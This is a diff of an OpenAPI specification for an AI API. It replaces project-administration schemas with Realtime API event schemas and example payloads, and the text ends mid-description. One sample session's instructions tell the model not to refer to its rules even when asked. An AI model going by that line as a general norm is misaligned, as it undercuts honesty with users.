+ type: integer
+ description: The index of the output item in the response.
+ item_id:
+ type: string
+ description: The ID of the MCP tool call item.
required:
- - object
- - data
- - has_more
- ProjectApiKeyOwnerServiceAccount:
+ - event_id
+ - type
+ - output_index
+ - item_id
+ x-oaiMeta:
+ name: response.mcp_call.failed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_6303",
+ "type": "response.mcp_call.failed",
+ "output_index": 0,
+ "item_id": "mcp_call_001"
+ }
+ RealtimeBetaServerEventResponseMCPCallInProgress:
type: object
- description: The service account that owns a project API key.
+ description: Returned when an MCP tool call has started and is in progress.
properties:
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints
- name:
+ event_id:
type: string
- description: The name of the service account.
- created_at:
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `response.mcp_call.in_progress`.
+ const: response.mcp_call.in_progress
+ output_index:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the service account was created.
- role:
+ description: The index of the output item in the response.
+ item_id:
type: string
- description: The service account's project role.
+ description: The ID of the MCP tool call item.
required:
- - id
- - name
- - created_at
- - role
- ProjectApiKeyOwnerUser:
+ - event_id
+ - type
+ - output_index
+ - item_id
+ x-oaiMeta:
+ name: response.mcp_call.in_progress
+ group: realtime
+ example: |
+ {
+ "event_id": "event_6301",
+ "type": "response.mcp_call.in_progress",
+ "output_index": 0,
+ "item_id": "mcp_call_001"
+ }
+ RealtimeBetaServerEventResponseOutputItemAdded:
type: object
- description: The user that owns a project API key.
+ description: Returned when a new Item is created during Response generation.
properties:
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints
- email:
+ event_id:
type: string
- description: The email address of the user.
- name:
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `response.output_item.added`.
+ const: response.output_item.added
+ response_id:
type: string
- description: The name of the user.
- created_at:
+ description: The ID of the Response to which the item belongs.
+ output_index:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the user was created.
- role:
- type: string
- description: The user's project role.
+ description: The index of the output item in the Response.
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
required:
- - id
- - email
- - name
- - created_at
- - role
- ProjectCreateRequest:
+ - event_id
+ - type
+ - response_id
+ - output_index
+ - item
+ x-oaiMeta:
+ name: response.output_item.added
+ group: realtime
+ example: |
+ {
+ "event_id": "event_3334",
+ "type": "response.output_item.added",
+ "response_id": "resp_001",
+ "output_index": 0,
+ "item": {
+ "id": "msg_007",
+ "object": "realtime.item",
+ "type": "message",
+ "status": "in_progress",
+ "role": "assistant",
+ "content": []
+ }
+ }
+ RealtimeBetaServerEventResponseOutputItemDone:
type: object
+ description: "Returned when an Item is done streaming. Also emitted when a Response is \ninterrupted, incomplete, or cancelled.\n"
properties:
- name:
+ event_id:
type: string
- description: The friendly name of the project, this name appears in reports.
- geography:
- anyOf:
- - type: string
- - type: 'null'
- deprecated: true
- description: |-
- Create the project with the specified data residency region. Your organization must have access to Data residency functionality in order to use. See [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
- Deprecated: use `residency` instead. Do not provide both `geography` and `residency`.
- residency:
- anyOf:
- - $ref: '#/components/schemas/PublicProjectResidency'
- - type: 'null'
- description: Create the project with the specified residency configuration. Your organization must have access to the requested residency configuration in order to use it. See [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
- external_key_id:
- anyOf:
- - type: string
- - type: 'null'
- description: External key ID to associate with the project.
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `response.output_item.done`.
+ const: response.output_item.done
+ response_id:
+ type: string
+ description: The ID of the Response to which the item belongs.
+ output_index:
+ type: integer
+ description: The index of the output item in the Response.
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
required:
- - name
- ProjectDataRetention:
+ - event_id
+ - type
+ - response_id
+ - output_index
+ - item
+ x-oaiMeta:
+ name: response.output_item.done
+ group: realtime
+ example: |
+ {
+ "event_id": "event_3536",
+ "type": "response.output_item.done",
+ "response_id": "resp_001",
+ "output_index": 0,
+ "item": {
+ "id": "msg_007",
+ "object": "realtime.item",
+ "type": "message",
+ "status": "completed",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "text",
+ "text": "Sure, I can help with that."
+ }
+ ]
+ }
+ }
+ RealtimeBetaServerEventResponseTextDelta:
type: object
- description: Represents a project's data retention control setting.
+ description: Returned when the text value of an "output_text" content part is updated.
properties:
- object:
+ event_id:
type: string
- enum:
- - project.data_retention
- description: The object type, which is always `project.data_retention`.
- x-stainless-const: true
+ description: The unique ID of the server event.
type:
+ x-stainless-const: true
+ description: The event type, must be `response.output_text.delta`.
+ const: response.output_text.delta
+ response_id:
type: string
- enum:
- - organization_default
- - none
- - zero_data_retention
- - modified_abuse_monitoring
- - enhanced_zero_data_retention
- - enhanced_modified_abuse_monitoring
- description: The configured project data retention type.
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ delta:
+ type: string
+ description: The text delta.
required:
- - object
+ - event_id
- type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - delta
x-oaiMeta:
- name: The project data retention object
+ name: response.output_text.delta
+ group: realtime
example: |
{
- "object": "project.data_retention",
- "type": "organization_default"
+ "event_id": "event_4142",
+ "type": "response.output_text.delta",
+ "response_id": "resp_001",
+ "item_id": "msg_007",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": "Sure, I can h"
}
- ProjectGroup:
+ RealtimeBetaServerEventResponseTextDone:
type: object
- description: Details about a group's membership in a project.
+ description: |
+ Returned when the text value of an "output_text" content part is done streaming. Also
+ emitted when a Response is interrupted, incomplete, or cancelled.
properties:
- object:
+ event_id:
type: string
- enum:
- - project.group
- description: Always `project.group`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- project_id:
+ description: The event type, must be `response.output_text.done`.
+ const: response.output_text.done
+ response_id:
type: string
- description: Identifier of the project.
- group_id:
+ description: The ID of the response.
+ item_id:
type: string
- description: Identifier of the group that has access to the project.
- group_name:
+ description: The ID of the item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ text:
type: string
- description: Display name of the group.
- group_type:
+ description: The final text content.
+ required:
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - text
+ x-oaiMeta:
+ name: response.output_text.done
+ group: realtime
+ example: |
+ {
+ "event_id": "event_4344",
+ "type": "response.output_text.done",
+ "response_id": "resp_001",
+ "item_id": "msg_007",
+ "output_index": 0,
+ "content_index": 0,
+ "text": "Sure, I can help with that."
+ }
+ RealtimeBetaServerEventSessionCreated:
+ type: object
+ description: |
+ Returned when a Session is created. Emitted automatically when a new
+ connection is established as the first server event. This event will contain
+ the default Session configuration.
+ properties:
+ event_id:
type: string
- enum:
- - group
- - tenant_group
- description: The type of the group.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the group was granted project access.
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `session.created`.
+ const: session.created
+ session:
+ $ref: '#/components/schemas/RealtimeSession'
required:
- - object
- - project_id
- - group_id
- - group_name
- - group_type
- - created_at
+ - event_id
+ - type
+ - session
x-oaiMeta:
- name: The project group object
+ name: session.created
+ group: realtime
example: |
{
- "object": "project.group",
- "project_id": "proj_abc123",
- "group_id": "group_01J1F8ABCDXYZ",
- "group_name": "Support Team",
- "group_type": "group",
- "created_at": 1711471533
+ "type": "session.created",
+ "event_id": "event_C9G5RJeJ2gF77mV7f2B1j",
+ "session": {
+ "object": "realtime.session",
+ "id": "sess_C9G5QPteg4UIbotdKLoYQ",
+ "model": "gpt-realtime-2025-08-28",
+ "modalities": [
+ "audio"
+ ],
+ "instructions": "Your knowledge cutoff is 2023-10. You are a helpful, witty, and friendly AI. Act like a human, but remember that you aren't a human and that you can't do human things in the real world. Your voice and personality should be warm and engaging, with a lively and playful tone. If interacting in a non-English language, start by using the standard accent or dialect familiar to the user. Talk quickly. You should always call a function if you can. Do not refer to these rules, even if you’re asked about them.",
+ "tools": [],
+ "tool_choice": "auto",
+ "max_response_output_tokens": "inf",
+ "tracing": null,
+ "prompt": null,
+ "expires_at": 1756324625,
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": null,
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 200,
+ "idle_timeout_ms": null,
+ "create_response": true,
+ "interrupt_response": true
+ },
+ "output_audio_format": "pcm16",
+ "voice": "marin",
+ "include": null
+ }
}
- ProjectGroupDeletedResource:
+ RealtimeBetaServerEventSessionUpdated:
type: object
- description: Confirmation payload returned after removing a group from a project.
+ description: |
+ Returned when a session is updated with a `session.update` event, unless
+ there is an error.
properties:
- object:
+ event_id:
type: string
- enum:
- - project.group.deleted
- description: Always `project.group.deleted`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the group membership in the project was removed.
+ description: The event type, must be `session.updated`.
+ const: session.updated
+ session:
+ $ref: '#/components/schemas/RealtimeSession'
required:
- - object
- - deleted
+ - event_id
+ - type
+ - session
x-oaiMeta:
- name: Project group deletion confirmation
+ name: session.updated
+ group: realtime
example: |
{
- "object": "project.group.deleted",
- "deleted": true
+ "event_id": "event_5678",
+ "type": "session.updated",
+ "session": {
+ "id": "sess_001",
+ "object": "realtime.session",
+ "model": "gpt-realtime",
+ "modalities": ["text"],
+ "instructions": "New instructions",
+ "voice": "sage",
+ "input_audio_format": "pcm16",
+ "output_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "whisper-1"
+ },
+ "turn_detection": null,
+ "tools": [],
+ "tool_choice": "none",
+ "temperature": 0.7,
+ "max_response_output_tokens": 200,
+ "speed": 1.1,
+ "tracing": "auto"
+ }
}
- ProjectGroupListResource:
+ RealtimeBetaServerEventTranscriptionSessionCreated:
type: object
- description: Paginated list of groups that have access to a project.
+ description: |
+ Returned when a transcription session is created.
properties:
- object:
+ event_id:
type: string
- enum:
- - list
- description: Always `list`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
- type: array
- description: Project group memberships returned in the current page.
- items:
- $ref: '#/components/schemas/ProjectGroup'
- has_more:
- type: boolean
- description: Whether additional project group memberships are available.
- next:
- description: Cursor to fetch the next page of results, or `null` when there are no more results.
- anyOf:
- - type: string
- - type: 'null'
+ description: The event type, must be `transcription_session.created`.
+ const: transcription_session.created
+ session:
+ $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
required:
- - object
- - data
- - has_more
- - next
+ - event_id
+ - type
+ - session
x-oaiMeta:
- name: Project group list
+ name: transcription_session.created
+ group: realtime
example: |
{
- "object": "list",
- "data": [
- {
- "object": "project.group",
- "project_id": "proj_abc123",
- "group_id": "group_01J1F8ABCDXYZ",
- "group_name": "Support Team",
- "created_at": 1711471533
- }
- ],
- "has_more": false,
- "next": null
+ "event_id": "event_5566",
+ "type": "transcription_session.created",
+ "session": {
+ "id": "sess_001",
+ "object": "realtime.transcription_session",
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "gpt-4o-transcribe",
+ "prompt": "",
+ "language": ""
+ },
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 500
+ },
+ "input_audio_noise_reduction": {
+ "type": "near_field"
+ },
+ "include": []
+ }
}
- ProjectHostedToolPermissions:
+ RealtimeBetaServerEventTranscriptionSessionUpdated:
type: object
- description: Represents hosted tool permissions for a project.
+ description: "Returned when a transcription session is updated with a `transcription_session.update` event, unless \nthere is an error.\n"
properties:
- file_search:
- $ref: '#/components/schemas/HostedToolPermission'
- web_search:
- $ref: '#/components/schemas/HostedToolPermission'
- image_generation:
- $ref: '#/components/schemas/HostedToolPermission'
- mcp:
- $ref: '#/components/schemas/HostedToolPermission'
- code_interpreter:
- $ref: '#/components/schemas/HostedToolPermission'
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `transcription_session.updated`.
+ const: transcription_session.updated
+ session:
+ $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
required:
- - file_search
- - web_search
- - image_generation
- - mcp
- - code_interpreter
+ - event_id
+ - type
+ - session
x-oaiMeta:
- name: The project hosted tool permissions object
+ name: transcription_session.updated
+ group: realtime
example: |
{
- "file_search": {
- "enabled": true
- },
- "web_search": {
- "enabled": true
+ "event_id": "event_5678",
+ "type": "transcription_session.updated",
+ "session": {
+ "id": "sess_001",
+ "object": "realtime.transcription_session",
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "gpt-4o-transcribe",
+ "prompt": "",
+ "language": ""
},
- "image_generation": {
- "enabled": true
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 500,
+ "create_response": true,
+ // "interrupt_response": false -- this will NOT be returned
},
- "mcp": {
- "enabled": true
+ "input_audio_noise_reduction": {
+ "type": "near_field"
},
- "code_interpreter": {
- "enabled": true
- }
+ "include": [
+ "item.input_audio_transcription.avg_logprob",
+ ],
+ }
}
- ProjectHostedToolPermissionsUpdateRequest:
+ RealtimeCallCreateRequest:
+ title: Realtime call creation request
type: object
+ description: |-
+ Parameters required to initiate a realtime call and receive the SDP answer
+ needed to complete a WebRTC peer connection. Provide an SDP offer generated
+ by your client and optionally configure the session that will answer the call.
+ required:
+ - sdp
properties:
- file_search:
- anyOf:
- - $ref: '#/components/schemas/HostedToolPermissionUpdate'
- - type: 'null'
- description: The file search permission update.
- web_search:
- anyOf:
- - $ref: '#/components/schemas/HostedToolPermissionUpdate'
- - type: 'null'
- description: The web search permission update.
- image_generation:
- anyOf:
- - $ref: '#/components/schemas/HostedToolPermissionUpdate'
- - type: 'null'
- description: The image generation permission update.
- mcp:
- anyOf:
- - $ref: '#/components/schemas/HostedToolPermissionUpdate'
- - type: 'null'
- description: The MCP permission update.
- code_interpreter:
- anyOf:
- - $ref: '#/components/schemas/HostedToolPermissionUpdate'
- - type: 'null'
- description: The code interpreter permission update.
- ProjectListResponse:
+ sdp:
+ type: string
+ description: WebRTC Session Description Protocol (SDP) offer generated by the caller.
+ session:
+ title: Session configuration
+ allOf:
+ - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
+ description: |-
+ Optional session configuration to apply before the realtime session is
+ created. Use the same parameters you would send in a [`create client secret`](https://developers.openai.com/api/reference/resources/realtime/subresources/client_secrets/methods/create)
+ request.
+ additionalProperties: false
+ RealtimeCallReferRequest:
+ title: Realtime call refer request
type: object
+ description: |-
+ Parameters required to transfer a SIP call to a new destination using the
+ Realtime API.
+ required:
+ - target_uri
properties:
- object:
+ target_uri:
type: string
- enum:
- - list
- x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/Project'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- has_more:
- type: boolean
- required:
- - object
- - data
- - has_more
- ProjectModelPermissions:
+ description: |-
+ URI that should appear in the SIP Refer-To header. Supports values like
+ `tel:+14155550123` or `sip:agent@example.com`.
+ example: tel:+14155550123
+ additionalProperties: false
+ RealtimeCallRejectRequest:
+ title: Realtime call reject request
type: object
- description: Represents the model allowlist or denylist policy for a project.
+ description: Parameters used to decline an incoming SIP call handled by the Realtime API.
properties:
- object:
+ status_code:
+ type: integer
+ description: |-
+ SIP response code to send back to the caller. Defaults to `603` (Decline)
+ when omitted.
+ example: 486
+ additionalProperties: false
+ RealtimeClientEvent:
+ discriminator:
+ propertyName: type
+ description: |
+ A realtime client event.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeClientEventConversationItemCreate'
+ - $ref: '#/components/schemas/RealtimeClientEventConversationItemDelete'
+ - $ref: '#/components/schemas/RealtimeClientEventConversationItemRetrieve'
+ - $ref: '#/components/schemas/RealtimeClientEventConversationItemTruncate'
+ - $ref: '#/components/schemas/RealtimeClientEventInputAudioBufferAppend'
+ - $ref: '#/components/schemas/RealtimeClientEventInputAudioBufferClear'
+ - $ref: '#/components/schemas/RealtimeClientEventOutputAudioBufferClear'
+ - $ref: '#/components/schemas/RealtimeClientEventInputAudioBufferCommit'
+ - $ref: '#/components/schemas/RealtimeClientEventResponseCancel'
+ - $ref: '#/components/schemas/RealtimeClientEventResponseCreate'
+ - $ref: '#/components/schemas/RealtimeClientEventSessionUpdate'
+ RealtimeClientEventConversationItemCreate:
+ type: object
+ description: "Add a new Item to the Conversation's context, including messages, function \ncalls, and function call responses. This event can be used both to populate a \n\"history\" of the conversation and to add new items mid-stream, but has the \ncurrent limitation that it cannot populate assistant audio messages.\n\nIf successful, the server will respond with a `conversation.item.created` \nevent, otherwise an `error` event will be sent.\n"
+ properties:
+ event_id:
type: string
- enum:
- - project.model_permissions
- description: The object type, which is always `project.model_permissions`.
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- mode:
+ description: The event type, must be `conversation.item.create`.
+ const: conversation.item.create
+ previous_item_id:
type: string
- enum:
- - allow_list
- - deny_list
- description: Whether the project uses an allowlist or a denylist.
- model_ids:
- type: array
- items:
- type: string
- description: The model IDs included in the model permissions policy.
+ description: |
+ The ID of the preceding item after which the new item will be inserted. If not set, the new item will be appended to the end of the conversation.
+
+ If set to `root`, the new item will be added to the beginning of the conversation.
+
+ If set to an existing ID, it allows an item to be inserted mid-conversation. If the ID cannot be found, an error will be returned and the item will not be added.
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
required:
- - object
- - mode
- - model_ids
+ - type
+ - item
x-oaiMeta:
- name: The project model permissions object
+ name: conversation.item.create
+ group: realtime
example: |
{
- "object": "project.model_permissions",
- "mode": "allow_list",
- "model_ids": [
- "gpt-6-astra",
- "o3"
+ "type": "conversation.item.create",
+ "item": {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "hi"
+ }
]
+ }
}
- ProjectModelPermissionsDeleteResponse:
+ RealtimeClientEventConversationItemDelete:
type: object
- description: Confirmation payload returned after deleting project model permissions.
+ description: "Send this event when you want to remove any item from the conversation \nhistory. The server will respond with a `conversation.item.deleted` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
properties:
- object:
+ event_id:
type: string
- enum:
- - project.model_permissions.deleted
- description: The object type, which is always `project.model_permissions.deleted`.
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the project model permissions were deleted.
+ description: The event type, must be `conversation.item.delete`.
+ const: conversation.item.delete
+ item_id:
+ type: string
+ description: The ID of the item to delete.
required:
- - object
- - deleted
+ - type
+ - item_id
x-oaiMeta:
- name: Project model permissions deletion confirmation
+ name: conversation.item.delete
+ group: realtime
example: |
{
- "object": "project.model_permissions.deleted",
- "deleted": true
+ "event_id": "event_901",
+ "type": "conversation.item.delete",
+ "item_id": "item_003"
}
- ProjectModelPermissionsUpdateRequest:
+ RealtimeClientEventConversationItemRetrieve:
type: object
+ description: "Send this event when you want to retrieve the server's representation of a specific item in the conversation history. This is useful, for example, to inspect user audio after noise cancellation and VAD.\nThe server will respond with a `conversation.item.retrieved` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
properties:
- mode:
+ event_id:
type: string
- enum:
- - allow_list
- - deny_list
- description: The model permissions mode to apply.
- model_ids:
- type: array
- items:
- type: string
- description: The model IDs included in this permissions policy.
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.item.retrieve`.
+ const: conversation.item.retrieve
+ item_id:
+ type: string
+ description: The ID of the item to retrieve.
required:
- - mode
- - model_ids
- ProjectRateLimit:
+ - type
+ - item_id
+ x-oaiMeta:
+ name: conversation.item.retrieve
+ group: realtime
+ example: |
+ {
+ "event_id": "event_901",
+ "type": "conversation.item.retrieve",
+ "item_id": "item_003"
+ }
+ RealtimeClientEventConversationItemTruncate:
type: object
- description: Represents a project rate limit config.
+ description: "Send this event to truncate a previous assistant message’s audio. The server \nwill produce audio faster than realtime, so this event is useful when the user \ninterrupts to truncate audio that has already been sent to the client but not \nyet played. This will synchronize the server's understanding of the audio with \nthe client's playback.\n\nTruncating audio will delete the server-side text transcript to ensure there \nis not text in the context that hasn't been heard by the user.\n\nIf successful, the server will respond with a `conversation.item.truncated` \nevent. \n"
properties:
- object:
+ event_id:
type: string
- enum:
- - project.rate_limit
- description: The object type, which is always `project.rate_limit`
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints.
- model:
+ description: The event type, must be `conversation.item.truncate`.
+ const: conversation.item.truncate
+ item_id:
type: string
- description: The model this rate limit applies to.
- max_requests_per_1_minute:
- type: integer
- description: The maximum requests per minute.
- max_tokens_per_1_minute:
- type: integer
- description: The maximum tokens per minute.
- max_images_per_1_minute:
- type: integer
- description: The maximum images per minute. Only present for relevant models.
- max_audio_megabytes_per_1_minute:
- type: integer
- description: The maximum audio megabytes per minute. Only present for relevant models.
- max_requests_per_1_day:
+ description: "The ID of the assistant message item to truncate. Only assistant message \nitems can be truncated.\n"
+ content_index:
type: integer
- description: The maximum requests per day. Only present for relevant models.
- batch_1_day_max_input_tokens:
+ description: The index of the content part to truncate. Set this to `0`.
+ audio_end_ms:
type: integer
- description: The maximum batch input tokens per day. Only present for relevant models.
+ description: "Inclusive duration up to which audio is truncated, in milliseconds. If \nthe audio_end_ms is greater than the actual audio duration, the server \nwill respond with an error.\n"
+ required:
+ - type
+ - item_id
+ - content_index
+ - audio_end_ms
+ x-oaiMeta:
+ name: conversation.item.truncate
+ group: realtime
+ example: |
+ {
+ "event_id": "event_678",
+ "type": "conversation.item.truncate",
+ "item_id": "item_002",
+ "content_index": 0,
+ "audio_end_ms": 1500
+ }
+ RealtimeClientEventInputAudioBufferAppend:
+ type: object
+ description: "Send this event to append audio bytes to the input audio buffer. The audio \nbuffer is temporary storage you can write to and later commit. A \"commit\" will create a new\nuser message item in the conversation history from the buffer content and clear the buffer.\nInput audio transcription (if enabled) will be generated when the buffer is committed.\n\nIf VAD is enabled the audio buffer is used to detect speech and the server will decide \nwhen to commit. When Server VAD is disabled, you must commit the audio buffer\nmanually. Input audio noise reduction operates on writes to the audio buffer.\n\nThe client may choose how much audio to place in each event up to a maximum \nof 15 MiB, for example streaming smaller chunks from the client may allow the \nVAD to be more responsive. Unlike most other client events, the server will \nnot send a confirmation response to this event.\n"
+ properties:
+ event_id:
+ type: string
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.append`.
+ const: input_audio_buffer.append
+ audio:
+ type: string
+ description: "Base64-encoded audio bytes. This must be in the format specified by the \n`input_audio_format` field in the session configuration.\n"
required:
- - object
- - id
- - model
- - max_requests_per_1_minute
- - max_tokens_per_1_minute
+ - type
+ - audio
x-oaiMeta:
- name: The project rate limit object
+ name: input_audio_buffer.append
+ group: realtime
example: |
{
- "object": "project.rate_limit",
- "id": "rl_ada",
- "model": "ada",
- "max_requests_per_1_minute": 600,
- "max_tokens_per_1_minute": 150000,
- "max_images_per_1_minute": 10
+ "event_id": "event_456",
+ "type": "input_audio_buffer.append",
+ "audio": "Base64EncodedAudioData"
}
- ProjectRateLimitListResponse:
+ RealtimeClientEventInputAudioBufferClear:
type: object
+ description: "Send this event to clear the audio bytes in the buffer. The server will \nrespond with an `input_audio_buffer.cleared` event.\n"
properties:
- object:
+ event_id:
type: string
- enum:
- - list
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/ProjectRateLimit'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- has_more:
- type: boolean
+ description: The event type, must be `input_audio_buffer.clear`.
+ const: input_audio_buffer.clear
required:
- - object
- - data
- - has_more
- ProjectRateLimitUpdateRequest:
- type: object
- properties:
- max_requests_per_1_minute:
- type: integer
- description: The maximum requests per minute.
- max_tokens_per_1_minute:
- type: integer
- description: The maximum tokens per minute.
- max_images_per_1_minute:
- type: integer
- description: The maximum images per minute. Only relevant for certain models.
- max_audio_megabytes_per_1_minute:
- type: integer
- description: The maximum audio megabytes per minute. Only relevant for certain models.
- max_requests_per_1_day:
- type: integer
- description: The maximum requests per day. Only relevant for certain models.
- batch_1_day_max_input_tokens:
- type: integer
- description: The maximum batch input tokens per day. Only relevant for certain models.
- ProjectServiceAccount:
+ - type
+ x-oaiMeta:
+ name: input_audio_buffer.clear
+ group: realtime
+ example: |
+ {
+ "event_id": "event_012",
+ "type": "input_audio_buffer.clear"
+ }
+ RealtimeClientEventInputAudioBufferCommit:
type: object
- description: Represents an individual service account in a project.
+ description: |
+ Send this event to commit the user input audio buffer, which will create a new user message item in the conversation. This event will produce an error if the input audio buffer is empty. When in Server VAD mode, the client does not need to send this event, the server will commit the audio buffer automatically.
+
+ Committing the input audio buffer will trigger input audio transcription (if enabled in session configuration), but it will not create a response from the model. The server will respond with an `input_audio_buffer.committed` event.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.service_account
- description: The object type, which is always `organization.project.service_account`
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints
- name:
- type: string
- description: The name of the service account
- role:
- type: string
- enum:
- - owner
- - member
- - none
- description: '`owner`, `member`, or `none`'
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the service account was created
+ description: The event type, must be `input_audio_buffer.commit`.
+ const: input_audio_buffer.commit
required:
- - object
- - id
- - name
- - role
- - created_at
+ - type
x-oaiMeta:
- name: The project service account object
+ name: input_audio_buffer.commit
+ group: realtime
example: |
{
- "object": "organization.project.service_account",
- "id": "svc_acct_abc",
- "name": "Service Account",
- "role": "owner",
- "created_at": 1711471533
+ "event_id": "event_789",
+ "type": "input_audio_buffer.commit"
}
- ProjectServiceAccountApiKey:
+ RealtimeClientEventOutputAudioBufferClear:
type: object
+ description: |
+ **WebRTC/SIP Only:** Emit to cut off the current audio response. This will trigger the server to
+ stop generating audio and emit a `output_audio_buffer.cleared` event. This
+ event should be preceded by a `response.cancel` client event to stop the
+ generation of the current response.
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.service_account.api_key
- description: The object type, which is always `organization.project.service_account.api_key`
+ description: The unique ID of the client event used for error handling.
+ type:
x-stainless-const: true
- value:
- type: string
- name:
- type: string
- created_at:
- type: integer
- format: unixtime
- expires_at:
- anyOf:
- - type: integer
- format: unixtime
- - type: 'null'
- description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
- id:
- type: string
+ description: The event type, must be `output_audio_buffer.clear`.
+ const: output_audio_buffer.clear
required:
- - object
- - value
- - name
- - created_at
- - id
- ProjectServiceAccountCreateRequest:
+ - type
+ x-oaiMeta:
+ name: output_audio_buffer.clear
+ group: realtime
+ example: |
+ {
+ "event_id": "optional_client_event_id",
+ "type": "output_audio_buffer.clear"
+ }
+ RealtimeClientEventResponseCancel:
type: object
+ description: "Send this event to cancel an in-progress response. The server will respond \nwith a `response.done` event with a status of `response.status=cancelled`. If \nthere is no response to cancel, the server will respond with an error. It's safe\nto call `response.cancel` even if no response is in progress, an error will be\nreturned the session will remain unaffected.\n"
properties:
- name:
+ event_id:
type: string
- description: The name of the service account being created.
- create_service_account_only:
- anyOf:
- - type: boolean
- description: Create the service account without default roles or an API key.
- - type: 'null'
- expires_in_seconds:
- anyOf:
- - type: integer
- minimum: 1
- maximum: 31536000
- - type: 'null'
- description: Number of seconds until the initial API key expires. If omitted or null, the key does not expire unless the effective organization or project policy requires an expiration. When a policy sets a maximum lifetime, this value must be provided and must not exceed that limit. A non-null value cannot be used when `create_service_account_only` is true.
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `response.cancel`.
+ const: response.cancel
+ response_id:
+ type: string
+ description: "A specific response ID to cancel - if not provided, will cancel an \nin-progress response in the default conversation.\n"
required:
- - name
- ProjectServiceAccountCreateResponse:
+ - type
+ x-oaiMeta:
+ name: response.cancel
+ group: realtime
+ example: |
+ {
+ "type": "response.cancel",
+ "response_id": "resp_12345"
+ }
+ RealtimeClientEventResponseCreate:
type: object
+ description: "This event instructs the server to create a Response, which means triggering \nmodel inference. When in Server VAD mode, the server will create Responses \nautomatically.\n\nA Response will include at least one Item, and may have two, in which case \nthe second will be a function call. These Items will be appended to the \nconversation history by default.\n\nThe server will respond with a `response.created` event, events for Items \nand content created, and finally a `response.done` event to indicate the \nResponse is complete.\n\nThe `response.create` event includes inference configuration like \n`instructions` and `tools`. If these are set, they will override the Session's \nconfiguration for this Response only.\n\nResponses can be created out-of-band of the default Conversation, meaning that they can\nhave arbitrary input, and it's possible to disable writing the output to the Conversation.\nOnly one Response can write to the default Conversation at a time, but otherwise multiple\nResponses can be created in parallel. The `metadata` field is a good way to disambiguate\nmultiple simultaneous Responses.\n\nClients can set `conversation` to `none` to create a Response that does not write to 